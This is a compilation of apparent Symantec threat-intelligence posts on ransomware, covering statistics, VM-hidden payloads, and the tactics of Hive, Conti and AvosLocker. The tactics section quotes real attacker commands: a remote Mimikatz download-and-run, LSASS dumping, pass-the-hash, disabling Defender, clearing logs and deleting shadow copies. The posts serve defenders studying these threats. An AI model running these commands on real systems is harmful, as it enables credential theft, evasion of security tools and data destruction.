Behind these encouraging statistics lie some sobering facts, however. Within the overall drop in ransomware activity, Symantec recorded a 12% rise in ransomware attacks against enterprise targets. As notable: mobile ransomware infections increased by 33% during 2018.
Even the overall 20% drop in ransomware activity during the year must be considered in context, because 2017 was the highest year on record for this type of attack. “There was still more ransomware activity in 2018 than in 2016,” cautions Dick O’Brien, principal editor with the Symantec Security Response organization. “Ransomware remains a serious and dangerous threat.”
That fact was evident with a series of attacks by the so-called SamSam ransomware during 2018. Symantec found evidence of SamSam attacks against 67 targets last year, nearly one-quarter of them healthcare organizations.
Within the overall drop in ransomware activity, Symantec recorded a 12% rise in ransomware attacks against enterprise targets.
One of the most visible attacks associated with SamSam hit the city of Atlanta on March 22, 2018. With multiple municipal computers encrypted by the ransomware, more than one-third of the 424 software programs used by Atlanta were thrown offline or partially disabled by the attack. Atlanta said it didn’t pay the $51,000 in bitcoin the attackers demanded for the release of encrypted data, but the city’s clean-up costs in the attack’s aftermath were expected to run over $10 million.
This huge remediation expense makes clear one of the realities of any ransomware attack: even if the victim doesn’t meet the attackers’ demands, the cost of dealing with the damage caused can be staggering. “For enterprise with hundreds or thousands of computers, it can be tremendously disruptive and expensive to recover from a ransomware attack, even if you have the data that the attack encrypted backed up,” notes O’Brien.
Still, as the decline in ransomware activity last year suggests, there are positive trends underway in this area. More consumers are backing up their data in the cloud, so can recover it if the data on their device is maliciously encrypted. Growing numbers of law enforcement prosecutions against ransomware attackers are having an impact. And cyber security vendors are getting better at detecting and blocking ransomware itself.
These improving defenses have helped drive a decline in the prevalence of ransomware attacks mounted with the aid of Web-based exploit kits. Instead, email campaigns that use spear phishing and other methods to ensnare victims became the primary method of distributing ransomware in 2018, according to Symantec’s ISTR.
Meanwhile, the sheer volume of all forms of malware is driving increased reliance on new defensive technology and techniques. “Traditionally, we’d block malware by getting a sample, making a ‘fingerprint’ of it, and getting a report if it was identified,” O’Brien says. “Now there’s so much malware, that process of manually fingerprinting isn’t efficient enough.”
Email campaigns that use spear phishing and other methods to ensnare victims became the primary method of distributing ransomware in 2018, according to Symantec’s ISTR.
Instead, Symantec is turning to technologies such as behavioral analysis and machine learning to block ransomware earlier in the infection process. Symantec can tap a massive pool of data from its global customer base to present machine learning algorithms with both known malware and potentially suspect code. “The more malware machine learning sees, the more attuned it gets, and the more able to create new fingerprints on its own,” O’Brien says.
As with most cyber attacks nowadays, ransomware assaults typically occur in combination with other attack techniques. For example, the SamSam ransomware attacks also leveraged living off the land tactics, using operating system functions or common administrative tools to explore and compromise victim’s networks and systems.
Whether a pure ransomware assault or part of a hybrid attack, ransomware remains a significant threat across the cyber landscape. Organizations shouldn’t be lulled into a sense of complacency about this type of threat just because it no longer hits the headlines as often as in the recent past.
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Ransomware: Attacks Continue to Rise as Operators Adapt to Disruption
Available evidence suggests vulnerability exploitation has replaced botnets as a prime infection vector.
Ransomware activity remains on an upward trend despite the number of attacks claimed by ransomware actors decreasing by slightly more than 20% in the fourth quarter of 2023. Attackers have continually refined their tactics and proven quick to respond to disruption, finding new ways to infect victims.
Analysis of data from ransomware leak sites shows that attackers managed to hit significantly more victims last year (4,700) compared to 2022 (2,800). While the shutdown of the Qakbot botnet in June 2023 took a major malware distribution channel offline, attackers have quickly adapted and vulnerability exploitation now appears to be the primary vector for ransomware attacks.
Figure 1. Claimed ransomware attacks by actors operating data leak sites, 2023-2024.
LockBit, the longstanding ransomware-as-service operation run by the Syrphid cybercrime group (aka Bitwise Spider), continued to be the largest ransomware threat in 2023, accounting for 21% of all attacks claimed on data leak sites. It was followed by Noberus (aka BlackCat, ALPHV) with 9% of all claimed attacks and Clop with 8%. Both LockBit and Noberus have been the target of law enforcement operations in recent weeks and it remains to be seen if these will significantly impact on activity levels from both threats over the long term.
Figure 2. Most prolific ransomware operations by claimed attacks, 2023.
Interestingly, there are significant disparities between overall, publicly claimed activity levels and ransomware activity investigated by Symantec. While LockBit was responsible for over 21% of the 4,700 attacks claimed in 2023, they were only identified as being involved in around 17% of the attacks Symantec investigated. Conversely, Noberus claimed 9% of all attacks in 2023 but it was involved in a little over 20% of all attacks Symantec investigated.
Figure 3. Proportions of publicly claimed attacks vs proportions of ransomware attacks investigated by Symantec.
The comparison may give some indication of success rates experienced by actors linked to each operation. For Symantec to positively identify an attack as associated with a certain ransomware family, the attack has to advance to the stage where the attackers attempt to deploy a payload. This suggests that Noberus affiliates are more likely to advance their attacks at least to the payload deployment stage.
Vectors
The evidence from recent ransomware investigations suggests that exploitation of known vulnerabilities in public facing applications is now the main vector for ransomware attacks. Likely infection vectors in recent ransomware attacks include:
CVE-2022-47966 ZOHO ManageEngine
Microsoft Exchange Server vulnerabilities. Exploits were unknown but first evidence of malicious activity in a number of attacks occurred on Exchange Servers.
Citrix Bleed (CVE-2023-4966) Citrix NetScaler ADC and NetScaler Gateway
CVE-2023-20269 Cisco Adaptive Security Appliance (ASA) and Cisco Firepower Threat Defense (FTD) VPN
Tooling
The number of tools deployed by ransomware actors continues to grow. In particular, there has been a marked increase in the number of dual-use tools (legitimate software installed by attackers for malicious purposes). Tools leveraging the Bring Your Own Vulnerable Driver (BYOVD) technique are also currently popular among attackers. New tools recently seen in ransomware attacks include:
HopToDesk: A publicly available remote desktop tool, which was used by attackers using a variant of the leaked Conti ransomware. Remote desktop tools are frequently used by ransomware actors, with the most popular being: Atera, AnyDesk, and Splashtop.
TrueSightKiller: A publicly available tool that leverages the BYOVD technique to disable security software.
GhostDriver: Another tool that leverages the BYOVD technique to disable antivirus (AV) tools.
StealBit: A custom data exfiltration tool associated with the LockBit ransomware operation. StealBit appeared to have fallen out of favour among LockBit affiliates for some time. However, usage of the tool resumed in early 2024, where it was deployed in two separate LockBit attacks.
Techniques
Noteworthy techniques that have recently been used by ransomware actors include:
Esentutl: Dumping credentials using the Windows command-line tool that provides database utilities for the Extensible Storage Engine (ESE). A known technique, in recent weeks attackers have been using it to dump browser credentials.
DPAPI: Using malicious tools to extract and decrypt sensitive user credentials stored using Microsoft's Data Protection API (DPAPI).
Ongoing threat
Ransomware will continue to be a major threat for organizations in 2024 and beyond. Incentivised by large payouts, ransomware attackers have proven to be persistent and adaptive, capable of responding to disruption by reorganizing themselves and consistently developing new tactics.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
7ebe51d5a48cc3c01878e06c6db3f4f0189c4f9788bfe57b763b03f4ab910e26 – StealBit
ce26642327aa55c67a564f695ae3038d5afee9b8d14bb5146bf30dd0f1af24e5 – StealBit
c06e320ad2568e15baae155346c6fb92e18fc038e7465adfb5fc2a3f8af9caa5 – HopToDesk
8d5c521d7a52fd0b24d15c61c344a8f87b3b623a1ab3520ab55197b772377155 – TrueSightKiller
09f7622eb9ed3bbd375575c8a190ff152ef3572a717a20c1b2dd5556b8cc9eba – TrueSightKiller
005cfd8a4dd101c127bcb0f94f1fa143b24d91442ee9e1525b4c540c9fe88c63 – TrueSightKiller
4c1346eab3fb23ca0613d73bbd2dd87fedb6ca8b1ba7bf48d69a57868d05854d – TrueSightKiller
13d525588d2f6babe0b6de7d1456a6f3f39a0947128280a94b6f676dd5684201 – TrueSightKiller
6ec7a25adc9bf516e9150bebd773feafa64787769156ffbcb6eccabc579ee03a – GhostDriver
19707b18f750bae0214e2a6d36735b6723549899bf83751d3650b9ec8125b91f – DPAPI credential dumper
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Ransomware: Growing Number of Attackers Using Virtual Machines
Tactic hides ransomware payload and lowers the risk of discovery while encryption process is underway.
Symantec has found evidence that an increasing number of ransomware attackers are using virtual machines (VMs) in order to run their ransomware payloads on compromised computers. The motivation behind the tactic is stealth. In order to avoid raising suspicions or triggering antivirus software, the ransomware payload will “hide” within a VM while encrypting files on the host computer.
The tactic is a recent development, having been documented by Sophos in connection with RagnarLocker last year. In that case, ransomware was run from inside an Oracle VirtualBox Windows XP VM.
VirtualBox usage
During a recent investigation into an attempted ransomware attack, Symantec discovered that the attackers had installed a VirtualBox VM on some compromised computers. Unlike the previously documented RagnarLocker attacks, which involved Windows XP, the VM in this case appeared to be running Windows 7.
The VM was delivered to the target via a malicious installer file that used various file names, including:
fuckyou.msi
fuck.msi
aa51978f.msi
s3c.msi
The installer created a file called runner.exe, which was a Golang (Go) executable compiled from the following source file:
C:/builder/runner/main.go
Apart from standard Go libraries, it used the go-ps library for process enumeration. Embedded strings used by the executable, such as file names, process names, and commands, were obfuscated using four-byte XOR keys. Each string was encrypted using a unique key.
This executable depended on multiple other files that were expected to be present in the same directory. Its main purpose was to install a VirtualBox VM in a headless mode.
When executed, runner.exe performed following actions:
It checked if it was running on Active Directory (AD) controller based on whether the C:\Windows\SYSVOL directory was present. It exited if the check proved true.
It used a function named russianDetect to check if it was running on a system using a Russian keyboard layout (0x0419). It exited if the check proved true. Checks such as this are a common feature of targeted ransomware attacks.
It enumerated running processes and services and terminated any that were present on blacklists (procBlacklist, servicesBlacklist) using taskkill.exe and sc.exe.
The executable then dropped, executed, and deleted a file called starter.bat with the following content in order to mount a recovery partition:
mountvol E:\ \\?\Volume{<ID>}\
It then decrypted and dropped VirtualBox.xml, a VirtualBox configuration file, and micro.xml, a VM configuration file (see appendix). It created an SDRSMLINK directory and linked system files to that directory, e.g:
cmd /C mklink /j "%SYSTEMROOT%\SDRSMLINK\Program Files" "%SYSTEMROOT%\Program Files"
It also adjusted the "<SharedFolders>" section in micro.xml to reflect files and directories linked in CSIDL_WINDOWS\SDRSMLINK. It then initialized VirtualBox components:
cmd /C sc create VBoxDRV binpath= %SYSTEMROOT%\\app64\drivers\VBoxDrv.sys type= kernel start= auto error= normal displayname= PortableVBoxDRV
regsvr32 /S %SYSTEMROOT%\\app64\VBoxC.dll
cmd /C %SYSTEMROOT%\\app64\VBoxSVC.exe /reregserver
rundll32 %SYSTEMROOT%\\app64\VBoxRT.dll ,RTR3Init
It enumerated and cleared Windows system logs using WEvtUtil.exe:
wevtutil.exe enum-logs
wevtutil.exe clear-log <LOG_NAME>
Symantec did not obtain a VM image, but what likely occurred next was that the ransomware payload was located on the VM's disk and auto started once the operating system was fully booted. The VM likely had access to the host computer’s files and directories (via "SharedFolders" set up by runner.exe), allowing it to encrypt files on the host computer.
Conti or Mount Locker?
While the payload running in the VM was not identified, there were reasonably strong indicators that it was Conti. A username and password combination (nuuser/7HeC00l3stP@ssw0rd) used in these attacks was previously associated with older Conti activity, dating from April 2021.
However, on the same computer that the VM was deployed on, Symantec also observed Mount Locker being deployed, raising the question as to whether the payload was actually Mount Locker. Since the main purpose of running a payload on a VM is to avoid detection, it doesn’t make much sense for the attacker to also deploy the payload on the host computer.
One possible explanation is that the attacker is an affiliate operator with access to both Conti and Mount Locker. They may have attempted to run a payload (either Conti or Mount Locker) on a virtual machine and, when that didn’t work, opted to run Mount Locker on the host computer instead.
Obfuscating malicious activity
Ransomware operators are continually refining their tactics in a bid to stay one step ahead of detection. Many are now heavily relying on legitimate and dual-use tools in order to stage attacks on targeted networks. The ransomware payload itself is often the stage of the attack most likely to raise red flags and, by hiding it in a virtual machine, there is an expectation that it may not be discovered. Organizations should exercise increased vigilance in relation to the unauthorized installation of virtual machines on their networks.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
2eae8e1c2e59527b8b4bb454a51b65f0ea1b0b7476e1c80b385f579328752836 - Installer
9f801a8d6b4801b8f120be9e5a157b0d1fc3bbf6ba11a7d202a9060e60b707d8 - runner.exe
e5291bae18b0fa3239503ab676cacb12f58a69eb2ec1fd3d0c0702b5a29246cb - VirtualBox
d89bd47fb457908e8d65f705f091372251bae3603f5ff59afb2436abfcf976d8 - Mountlocker
8f247e4149742532b8a0258afd31466f968af7b5ac01fdb7960ac8c0643d2499 - Mountlocker
Appendix
VirtualBox.xml - VirtualBox configuration file
<?xml version="1.0" encoding="UTF-8"?>
<!-- Sun VirtualBox Global Configuration -->
<VirtualBox xmlns="http://www.innotek.de/VirtualBox-settings" version="1.7-windows">
<Global>
<ExtraData>
<ExtraDataItem name="GUI/UpdateDate" value="1 d, 2020-05-05"/>
<ExtraDataItem name="GUI/SUNOnlineData" value="triesLeft=2"/>
<ExtraDataItem name="GUI/LastWindowPostion" value="298,109,770,550"/>
</ExtraData>
<MachineRegistry>
<MachineEntry uuid="{ea68756b-4a61-4f99-a824-82bd26041256}" src="micro.xml"/>
</MachineRegistry>
<MediaRegistry>
<HardDisks>
<HardDisk uuid="{a9605e9f-31df-4dc6-827c-5b684f32bb64}" location="micro.vdi" format="VDI" type="Normal"/>
</HardDisks>
<DVDImages/>
<FloppyImages/>
</MediaRegistry>
<NetserviceRegistry>
<DHCPServers>
<DHCPServer networkName="HostInterfaceNetworking-VirtualBox Host-Only Ethernet Adapter" IPAddress="192.168.56.100" networkMask="255.255.255.0" lowerIP="192.168.56.101" upperIP="192.168.56.254" enabled="1"/>
</DHCPServers>
</NetserviceRegistry>
<USBDeviceFilters/>
<SystemProperties defaultMachineFolder="." defaultHardDiskFolder="." defaultHardDiskFormat="VDI" remoteDisplayAuthLibrary="VRDPAuth" webServiceAuthLibrary="VRDPAuth" LogHistoryCount="3"/>
</Global>
</VirtualBox>
Micro.xml - virtual machine configuration file
<?xml version="1.0" encoding="UTF-8"?>
<!-- Sun VirtualBox Machine Configuration -->
<VirtualBox xmlns="http://www.innotek.de/VirtualBox-settings" version="1.7-windows">
<Machine uuid="{ea68756b-4a61-4f99-a824-82bd26041256}" name="micro" OSType="Windows7" lastStateChange="2020-05-13T03:49:05Z">
<ExtraData>
<ExtraDataItem name="GUI/SaveMountedAtRuntime" value="yes"/>
<ExtraDataItem name="GUI/ShowMiniToolBar" value="yes"/>
<ExtraDataItem name="GUI/MiniToolBarAlignment" value="bottom"/>
<ExtraDataItem name="GUI/LastWindowPostion" value="8,31,800,643"/>
<ExtraDataItem name="GUI/Fullscreen" value="off"/>
<ExtraDataItem name="GUI/Seamless" value="off"/>
<ExtraDataItem name="GUI/AutoresizeGuest" value="on"/>
<ExtraDataItem name="GUI/MiniToolBarAutoHide" value="on"/>
</ExtraData>
<Hardware>
<CPU count="1">
<HardwareVirtEx enabled="true"/>
<PAE enabled="true"/>
</CPU>
<Memory RAMSize="512"/>
<Boot>
<Order position="3" device="HardDisk"/>
</Boot>
<Display VRAMSize="12" monitorCount="1" accelerate3D="false"/>
<RemoteDisplay enabled="false" port="43399" authType="Null"/>
<BIOS>
<ACPI enabled="true"/>
<IOAPIC enabled="false"/>
<Logo fadeIn="true" fadeOut="true" displayTime="0"/>
<BootMenu mode="MessageAndMenu"/>
<TimeOffset value="0"/>
<PXEDebug enabled="false"/>
</BIOS>
<DVDDrive passthrough="false"/>
<FloppyDrive enabled="false"/>
<USBController enabled="false" enabledEhci="false"/>
<Network/>
<UART>
<Port slot="0" enabled="false" IOBase="0x3f8" IRQ="4" hostMode="Disconnected"/>
<Port slot="1" enabled="false" IOBase="0x3f8" IRQ="4" hostMode="Disconnected"/>
</UART>
<LPT>
<Port slot="0" enabled="false" IOBase="0x378" IRQ="4"/>
<Port slot="1" enabled="false" IOBase="0x378" IRQ="4"/>
</LPT>
<AudioAdapter controller="AC97" driver="DirectSound" enabled="false"/>
<SharedFolders/>
<Clipboard mode="Bidirectional"/>
<Guest memoryBalloonSize="0" statisticsUpdateInterval="0"/>
<GuestProperties>
<GuestProperty name="/VirtualBox/HostInfo/GUI/LanguageID" value="C" timestamp="1589341300166459600" flags=""/>
</GuestProperties>
</Hardware>
<StorageControllers>
<StorageController name="IDE" type="PIIX4" PortCount="2">
<AttachedDevice type="HardDisk" port="0" device="0">
<Image uuid="{a9605e9f-31df-4dc6-827c-5b684f32bb64}"/>
</AttachedDevice>
</StorageController>
</StorageControllers>
</Machine>
</VirtualBox>
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Ransomware: How Attackers are Breaching Corporate Networks
Latest tools, tactics, and procedures being used by the Hive, Conti, and AvosLocker ransomware operations.
Targeted ransomware attacks continue to be one of the most critical cyber risks facing organizations of all sizes. The tactics used by ransomware attackers are continually evolving, but by identifying the most frequently employed tools, tactics, and procedures (TTPs) organizations can gain a deeper understanding into how ransomware groups infiltrate networks and use this knowledge to identify and prioritize areas of weakness.
Symantec, a division of Broadcom Software, tracks various ransomware threats; however, the following three ransomware families are being observed in the majority of recent attacks:
Hive
Conti
Avoslocker
Similar to many other ransomware families, Hive, Conti, and Avoslocker follow the ransomware-as-a-service (RaaS) business model. In the RaaS model the ransomware operators hire affiliates who are responsible for launching the ransomware attacks on their behalf. In most cases affiliates stick to a playbook that contains detailed attack steps laid out by the ransomware operators.
Once initial access to a victim network has been gained, Hive, Conti, and Avoslocker use a plethora of TTPs to help the operators achieve the following:
Gain persistence on the network
Escalate privileges
Tamper with and evade security software
Laterally move across the network
Initial Access
Affiliates for the Hive, Conti, and Avoslocker ransomware operators use a variety of techniques to gain an initial foothold on victim networks. Some of these techniques include:
Spear phishing leading to the deployment of malware, including but not limited to:
IcedID
Emotet
QakBot
TrickBot
Taking advantage of weak RDP credentials
Exploiting vulnerabilities such as:
Microsoft Exchange vulnerabilities - CVE-2021-34473, CVE-2021-34523, CVE-2021-31207, CVE-2021-26855
FortiGate firewall vulnerabilities - CVE-2018-13379 and CVE-2018-13374
Apache Log4j vulnerabily - CVE-2021-44228
In most cases, the spear-phishing emails contain Microsoft Word document attachments embedded with macros that lead to the installation of one of the previously mentioned malware threats. In some instances, attackers use this malware to install Cobalt Strike, which is then used to pivot to other systems on the network. These malware threats are then used to distribute ransomware onto compromised computers.
Persistence
After gaining initial access, Symantec has observed affiliates for all three ransomware families using third-party software such as AnyDesk and ConnectWise Control (previously known as ScreenConnect) to maintain access to victim networks. They also enable default Remote Desktop access in the firewall:
netsh advfirewall firewall set rule group="Remote Desktop" new enable=yes
Actors are also known to create additional users on compromised systems to maintain access. In some instances we have seen threat actors add registry entries that allow them to automatically log in when a machine is restarted:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /t REG_SZ /d <user> /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_SZ /d 1 /f
Discovery
During the discovery phase the ransomware actors try to sweep the victim’s network to identify potential targets. Symantec has observed the aforementioned ransomware actors using tools such as the following:
ADRecon - Gathers Active Directory information and generates a report
Netscan - Discovers devices on the network
Credential Access
Mimikatz is a go-to tool for most ransomware groups and Hive, Conti, and Avoslocker are no exception. We have observed them using the PowerShell version of Mimikatz as well as the PE version of the tool. There are also instances where the threat actors directly load the PowerShell version of Mimikatz from GitHub repositories:
powershell IEX((new-object net.webclient).downloadstring('https://raw.githubusercontent.com/<redacted>/Invoke-Mimikatz.ps1'));Invoke-Mimikatz -DumpCreds
In addition to using Mimikatz, the threat actors have also taken advantage of the native rundll32 and comsvcs.dll combination to dump the LSASS memory:
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <process id> lsass.dmp full
Adversaries also dump the SECURITY, SYSTEM, and SAM hives and later extract credentials from the dump. In rare occasions they have also been observed using taskmgr.exe to dump the LSASS memory and later using the dump to extract valuable credentials.
Lateral Movement
Attackers employ tools like PsExec, WMI, and BITSAdmin to laterally spread and execute the ransomware on victim networks. We have also observed the attackers using several other techniques to laterally move across networks.
PsExec
psexec -accepteula @ips.txt -s -d -c CSIDL_WINDOWS\xxx.exe
WMI
wmic /node:@C:\share$\comps1.txt /user:"user" /password:"password" process call create "cmd.exe /c bitsadmin /transfer xxx \\IP\share$\xxx.exe %APPDATA%\xxx.exe&%APPDATA%\xxx.exe"
BITSAdmin
bitsadmin /transfer debjob /download /priority normal hxxp://<IP>/ele.dll CSIDL_WINDOWS\ele.dll
Mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<ntlm hash>"
Defense Evasion
As with a number of other ransomware families, Hive, Conti, and Avoslocker also tamper with various security products that interfere with their goal. We have observed them meddling with security services using the net, taskkill, and sc commands to disable or terminate them. In some cases they also use tools like PC Hunter to end processes. They have also been seen tampering with various registry entries related to security products, since changes to the registry entries can make those products inoperative.
Both Hive and AvosLocker have been observed attempting to disable Windows Defender using the following reg.exe commands.
AvosLocker:
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
Hive:
reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
reg.exe delete aHKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run” /v “Windows Defender” /f
reg.exe delete “HKCU\Software\Microsoft\Windows\CurrentVersion\Run” /v “Windows Defender” /
Disabling the default Windows firewall is also one of the techniques we have seen being used by these ransomware families:
netsh advfirewall set allprofiles state off
To cover their tracks on a victim system the actors may also clear the Windows event log:
wevtutil.exe cl system
wevtutil.exe cl security
wevtutil.exe cl application
powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
Impact
Adversaries tend to disable or tamper with operating system settings in order to make it difficult for administrators to recover data. Deleting shadow copies is a common tactic threat actors perform before starting the encryption process. They perform this task by using tools like Vssadmin or WMIC and running one of the following commands:
vssadmin.exe delete shadows /all /quiet
wmic.exe shadowcopy delete
We have also seen BCDEdit being used to disable automatic system recovery and to ignore failures on boot:
bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
bcdedit.exe /set {default} recoveryenabled no
In some instances the actors delete the safe mode settings in the registry to stop security product services from starting in safe mode:
reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\<service> /f
Exfiltration
Attackers commonly exfiltrate critical data from a victim’s environment before encrypting it. They then use the stolen data in an attempt to extort a ransom from victims. We have observed threat actors using the following cloud services to exfiltrate data:
https://anonfiles.com
https://mega.nz
https://send.exploit.in
https://ufile.io
https://www.sendspace.com
We have also seen attackers use the following tools for data exfiltration:
Filezilla
Rclone
Conclusion
The TTPs outlined in this blog are a snapshot of the current ransomware threat landscape. The TTPs used by these threat actors are constantly evolving, with groups continually tweaking their methods in a bid to outmaneuver their targets’ security defenses. As such, organizations need to be vigilant and employ a multi-layered security approach.
Symantec Protection
Symantec Endpoint Protection (SEP) protects against ransomware attacks using multiple static and dynamic technologies.
AV Protection
Ransom.Hive
Ransom.Conti
Ransom.AvosLocker
Backdoor.Cobalt
Hacktool.Mimikatz
Trojan.IcedID*
Trojan.Emotet*
W32.Qakbot*
Trojan.Trickybot*
Behavioral Protection
SONAR.RansomHive!g2
SONAR.RansomHive!g3
SONAR.RansomHive!g4
SONAR.RansomAvos!g2
SONAR.RansomConti!g1
SONAR.RansomConti!g3
SONAR.RansomConti!g4
SONAR.Ransomware!g30
SONAR.RansomGregor!g1
SONAR.SuspLaunch!gen4
SONAR.SuspLaunch!g18
SONAR.Ransom!gen59
SONAR.Ransomware!g26
SONAR.Cryptlck!g171
Intrusion Prevention System (IPS) detections
IPS blocks initial access, persistence, and lateral movement. SEP's Audit Signatures are intended to raise awareness of potentially unwanted traffic on the network. By default, Audit Signatures do not block. Administrators reviewing the logs of IPS events in their network can note these Audit events and decide whether or not to configure the corresponding Audit Signatures to block the traffic.
The following is a list of Audit Signatures that can be enabled to block, through policies, activity related to the use of software or tools such as AnyDesk, ScreenConnect, and PsExec.
33211 [Audit: AnyDesk Remote Desktop Activity]
33156 [Audit: ScreenConnect Remote Support Software Activity]
30068 [Audit: PSExec Utility Activity]
33588 [Audit: WMIC Remote RPC Interface Bind Attempt]
33311 [Audit: PCHunter Tool Activity]
33295 [Attack: Ransom.Conti Activity 3]
33435 [Attack: Ransom.AvosLocker Activity 3]
33444 [Attack: Ransom.AvosLocker Activity 4]
32436 [Attack: Ransom.Gen Activity 29]
33323 [Attack: Ransom.Hive Activity]
33119 [Audit: RClone Tool Activity]
Symantec recommends that you have intrusion prevention enabled on all your devices including servers.
Adaptive Protection
Symantec Adaptive Protection can help protect against lateral movement and ransomware execution techniques used by an attacker. If you are not using tools like PsExec, WMIC, and BITSAdmin in your environment then you should “Deny” these applications and actions using Symantec Adaptive Protection policies.
Recommendations
Customers are advised to enable their Intrusion Prevention System (IPS) on desktops and servers for best protection. Click here for instructions on enabling the IPS Server Performance Tuning feature. This feature should be enabled on servers to allow additional tuning for the IPS module and definitions in high-throughput scenarios.
Customers are also advised to enable Proactive Threat Protection, also known as SONAR, which is Symantec’s behavior-based protection.
Customers should also keep Symantec Endpoint Protection (SEP) up-to-date with the latest version and definition set.
Symantec has multi-layer protection technologies for all the threat types. To provide the best protection, all SEP features should be enabled for Windows desktops and servers.
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Ransomware: Looking for the Light at the End of the Tunnel
Government, private sector experts at the Symantec Government Symposium to share latest ideas how to combat ransomware scourge
From the Atlanta city government to Alaska’s Matanuska-Susitna Borough, ransomware attacks continue to disrupt government technology systems. These attacks take advantage of gaps in network security, forcing federal, state and local governments to either pay a ransom or see their technology systems – and, in turn – their operations all but shut down.
While government agencies continue to improve their cyber security systems, ransomware remains a lethal threat. The WannaCry and Petya attacks last year showed the damage these attacks can do if allowed to take root.
How can agencies identify and eliminate vulnerabilities to ransomware? What precautions can be put in place to avoid an attack? What guidelines can be established to ensure continued protection in the long-term?
Those will be some of the major questions answered at the Symantec Government Symposium, taking place on October 30 at the Marriott Marquis in Washington D.C.
Defending against ransomware will be a recurring theme throughout the day’s program. There will also be a session dedicated to the topic, where I will join Cindy Donaldson, President of The Global Resilience Federation, in a presentation focused on how to prevent, protect and prevail against ransomware.
The session will take a deep dive into the current threat landscape and the state of ransomware; what tactics, techniques and procedures criminals are using; and strategies to help protect organizations from ransomware through information sharing and technologies, including behavior monitoring, machine learning and intrusion prevention.
Protecting Against Ransomware
The best way to combat ransomware is with a defense-in-depth approach to cyber security that emphasizes security at the data level and enhances network visibility. This includes integrating solutions that work together to protect all potential entry points of a ransomware attack – email, web, endpoint, cloud and data center.
This integrated cyber defense approach unifies cloud and on-premises security to provide advanced threat and information protection, and includes:
Advanced threat protection – allows agencies to gain control with multiple layers of threat prevention, detection and forensic technology
Information protection – provides a shield around critical data, wherever it resides
Endpoint security – protects users and critical assets with multilayered security
Email security – defends email in the cloud and on-premises
Network security – secures the web gateway
Cloud security – safeguards users, information and workloads across public and private clouds
Government organizations that improve their overall security posture will greatly reduce the threat of all attacks, including ransomware. That will be another theme of the Symantec Government Symposium. Speakers and attendees will discuss the evolution of cyber security strategies and how tools like automation, artificial intelligence and this integrated cyber defense platform can improve overall security.
If you are interested in attending the event, register now.
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Ransomware Moves Away from Consumers
The rise in attacks on local governments and certain industries is about attackers maximizing the return on investments
The attacker chose Friday, August 16th, to take down the systems managing 22 towns, government agencies and counties in Texas. In the most brazen operation to date, the unknown ransomware group simultaneously triggered systems in the nearly two-dozen jurisdictions to seize up, hobbling municipal, county and police services across the state.
The town of Borger, TX, lost access to birth and death records, and could no longer accept utility and tax payments. The town of Kaufman, TX, announced it had been "severely affected by an outside source."
"At this time, all of our computer and phone systems are down and our ability to access data, process payments, etc. is greatly limited," the town stated on its Facebook page. "We are currently working with a third-party IT Company to identify and correct the issue. However, all City Hall services will be limited until our systems are back online."
The attack—one of more than 5 dozen targeting local government organizations this year—highlights an ongoing change in tactics among ransomware groups, moving from the low-stakes attacks on consumers to targeting bigger game: companies, government agencies, and organizations.
By the end of the weekend, the Texas Department of Information Resources had activated its coordinated response, bringing in several state agencies, such as the Division of Emergency Management, as well as the Texas A&M University System's Security Operations Center.
The attack—one of more than 5 dozen targeting local government organizations this year—highlights an ongoing change in tactics among ransomware groups, moving from the low-stakes attacks on consumers to targeting bigger game: companies, government agencies, and organizations. In its 2019 Internet Security Threat Report, Symantec found that in 2018, while ransomware attacks targeting consumers shrank, attacks targeting enterprise rose 12 percent, making businesses and other organizations account for 81 percent of all ransomware infections.
